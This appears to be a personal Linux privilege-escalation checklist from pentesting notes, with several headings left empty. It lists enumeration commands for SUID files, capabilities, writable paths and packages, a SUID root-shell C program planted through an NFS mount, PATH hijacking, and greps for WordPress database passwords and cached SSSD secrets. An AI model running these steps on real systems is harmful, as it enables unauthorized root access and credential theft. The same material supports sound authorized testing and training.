📋Linux Privesc Checklist

Grep TIps

Privileges,Users, etc

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Network

Docker

WSL

mount -t drvfs 'c:' /mnt/c

Disks & Other Peripheral

NFS

shell.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
	setuid(0);setgid(0);system("/bin/bash")
}		
sudo mount -t nfs 10.129.2.12:/tmp /mnt
cp shell /mnt
chmod u+s /mnt/shell

Files & File searching

find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -type d -name ".*" -ls 2>/dev/null
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null

or writable files:

find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'

Processes & Installed Packages

find / -name doas.conf 2>/dev/null
PATH=.:${PATH}
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done

Active Directory

strings  /var/lib/sss/secrets/secrets.ldb | grep '\$'
strings cache_cerberus.local.ldb | grep '\$'

Check for cache

Last updated